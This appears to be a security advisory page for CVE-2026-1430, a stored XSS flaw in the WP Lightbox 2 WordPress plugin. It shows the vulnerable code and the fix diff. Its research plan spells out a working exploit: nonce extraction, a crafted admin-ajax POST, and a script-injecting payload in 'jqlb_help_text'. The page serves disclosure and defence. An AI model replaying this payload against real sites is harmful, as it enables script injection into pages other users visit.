CVE-2026-1430

WP Lightbox 2 < 3.0.7 - Authenticated (Administrator+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
3.0.7
Patched in
4d
Time to patch

Description

The WP Lightbox 2 plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 3.0.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<3.0.7
PublishedMarch 30, 2026
Last updatedApril 2, 2026
Affected pluginwp-lightbox-2

What Changed in the Fix

Changes introduced in v3.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: Exploitation of CVE-2026-1430 (WP Lightbox 2 Stored XSS) ## 1. Vulnerability Summary The **WP Lightbox 2** plugin (versions < 3.0.7) contains a stored cross-site scripting (XSS) vulnerability within its settings management. Specifically, the `save_parametrs` function in `admin/gene…

Show full research plan

Research Plan: Exploitation of CVE-2026-1430 (WP Lightbox 2 Stored XSS)

1. Vulnerability Summary

The WP Lightbox 2 plugin (versions < 3.0.7) contains a stored cross-site scripting (XSS) vulnerability within its settings management. Specifically, the save_parametrs function in admin/general_settings.php fails to sanitize or escape input before storing it in the WordPress database via update_option. Although the vulnerability is authenticated (Administrator+), it presents a significant risk in environments where unfiltered_html is disabled (e.g., WordPress Multi-site), allowing an administrator to bypass security restrictions and inject arbitrary scripts that execute when users view pages with the lightbox active.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: save_in_databese_lightbox2
  • Vulnerable Parameter: jqlb_help_text (and potentially other keys in the get_general_settings array)
  • Authentication: Required (Administrator privileges with manage_options capability)
  • Preconditions: The plugin must be active. Exploitation is most relevant when unfiltered_html is restricted.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX handler in admin/general_settings.php:
    add_action( 'wp_ajax_save_in_databese_lightbox2', array($this, 'save_parametrs') );
    
  2. Nonce Verification: The save_parametrs() function verifies a nonce passed via $_POST['wp_lightbox_2_general_settings_page'].
  3. Sink (Storage): The function iterates through $initial_values (retrieved from $this->databese_settings, which contains the get_general_settings array defined in includes/install_database.php).
    // admin/general_settings.php
    foreach($initial_values as $key => $value){
        if(isset($_POST[$key])){
            update_option($key, stripslashes($_POST[$key])); // VULNERABLE SINK: No sanitization
        }
    }
    
  4. Rendering (Frontend): The stored option (e.g., jqlb_help_text) is retrieved and echoed on pages where the lightbox enqueues its configuration or tooltips.

4. Nonce Acquisition Strategy

The nonce is generated on the plugin's general settings page.

  1. Identify Page: The settings page is located at /wp-admin/admin.php?page=WP-Lightbox-2.
  2. Access Page: Navigate to this URL using the browser_navigate tool while logged in as an Administrator.
  3. Extract Nonce: The nonce is present in an input field named wp_lightbox_2_general_settings_page.
    • Use browser_eval: document.getElementsByName("wp_lightbox_2_general_settings_page")[0].value

5. Exploitation Strategy

The exploit involves sending a crafted AJAX request to save a malicious payload into the jqlb_help_text setting.

Step 1: Collect Required Parameters

The save_parametrs function requires all settings keys to be present in the $_POST array to avoid an error. From includes/install_database.php, the keys for get_general_settings are:

  • jqlb_overlay_opacity
  • jqlb_help_text
  • jqlb_margin_size
  • jqlb_automate
  • jqlb_comments
  • jqlb_resize_on_demand
  • jqlb_show_download
  • jqlb_navbarOnTop
  • jqlb_resize_speed

Step 2: Send Malicious POST Request

Use the http_request tool to perform the update.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=save_in_databese_lightbox2&
wp_lightbox_2_general_settings_page=[EXTRACTED_NONCE]&
jqlb_help_text=</textarea><script>alert(document.domain)</script>&
jqlb_overlay_opacity=80&
jqlb_margin_size=0&
jqlb_automate=1&
jqlb_comments=1&
jqlb_resize_on_demand=0&
jqlb_show_download=0&
jqlb_navbarOnTop=0&
jqlb_resize_speed=400

(Note: Use URL encoding for the payload).

6. Test Data Setup

  1. User: Ensure an Administrator user exists.
  2. Plugin: Activate wp-lightbox-2.
  3. Page Content: Create a public post containing an image link to ensure the lightbox logic triggers on the frontend.
    wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content='<a href="https://example.com/test.jpg" rel="lightbox">View Image</a>'
    

7. Expected Results

  • The AJAX request should return sax_normala (the success string defined in admin/general_settings.php).
  • When navigating back to the settings page or viewing a post where the lightbox is active, the script <script>alert(document.domain)</script> should execute.

8. Verification Steps

  1. Check Database: Use WP-CLI to confirm the option is stored unsanitized.
    wp option get jqlb_help_text
    
  2. Check Response: Inspect the HTML of the settings page to see if the payload breaks out of the <textarea>:
    curl -s -b cookies.txt "http://localhost:8080/wp-admin/admin.php?page=WP-Lightbox-2" | grep "jqlb_help_text"
    

9. Alternative Approaches

If jqlb_help_text is not reflected on the frontend, target other settings from get_design_settings if accessible, or check if the plugin supports a shortcode that displays the "Help Text". Alternatively, since the vulnerability exists in the update_option call, any setting updated by the AJAX action is a candidate if it is echoed elsewhere without escaping.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Lightbox 2 plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) due to a lack of input sanitization in its AJAX settings update handler. This allows administrators to inject malicious JavaScript into settings such as 'jqlb_help_text', which executes when users interact with the plugin's features. This vulnerability is particularly impactful in multi-site installations where 'unfiltered_html' is restricted.

Vulnerable Code

// admin/general_settings.php lines 32-42
public function save_parametrs(){
	 $initial_values= $this->databese_settings;
$kk=1;
	if(isset($_POST['wp_lightbox_2_general_settings_page']) && wp_verify_nonce( $_POST['wp_lightbox_2_general_settings_page'],'wp_lightbox_2_general_settings_page')){

		foreach($initial_values as $key => $value){
			if(isset($_POST[$key])){
				update_option($key,stripslashes($_POST[$key]));
			}
			else{
				$kk=0;
				printf('error saving %s <br>',$key);
			}
		}
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-lightbox-2/3.0.6.8/admin/general_settings.php /home/deploy/wp-safety.org/data/plugin-versions/wp-lightbox-2/3.0.7/admin/general_settings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-lightbox-2/3.0.6.8/admin/general_settings.php	2025-06-04 19:15:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-lightbox-2/3.0.7/admin/general_settings.php	2026-01-31 17:51:00.000000000 +0000
@@ -32,12 +32,19 @@
 	public function save_parametrs() {
 		$initial_values = $this->databese_settings;
 		$kk = 1;
 
+		if ( ! current_user_can( 'manage_options' ) || ! wp_doing_ajax() ) {
+			die('Authorization Problem');
+		}
+
 		if ( isset( $_POST['wp_lightbox_2_general_settings_page'] ) && wp_verify_nonce( $_POST['wp_lightbox_2_general_settings_page'], 'wp_lightbox_2_general_settings_page' ) ) {
 
 			foreach ( $initial_values as $key => $value ) {
 				if ( isset( $_POST[ $key ] ) ) {
-					update_option( $key, stripslashes( $_POST[ $key ] ) );
+					update_option( $key, sanitize_text_field( stripslashes( $_POST[ $key ] ) ) );
 				} else {
 					$kk = 0;
 
 					printf( 'error saving %s <br>', $key );
@@ -45,7 +52,7 @@
 				}
 			}
 		} else {
-			die('Authorization Problem ');
+			die('Authorization Problem');
 		}

Exploit Outline

The exploit targets the AJAX action 'save_in_databese_lightbox2' used by the plugin to save general settings. An attacker with Administrator privileges first navigates to the plugin's settings page (/wp-admin/admin.php?page=WP-Lightbox-2) to extract a valid CSRF nonce from the 'wp_lightbox_2_general_settings_page' hidden input field. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the action parameter, the nonce, and a malicious payload containing arbitrary HTML/JavaScript inside the 'jqlb_help_text' parameter. Because the plugin uses 'update_option' on the raw POST data (after stripslashes) without sanitization, the payload is saved to the database. The script will execute when the settings page is reloaded or when the lightbox help text is rendered on the website's frontend.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.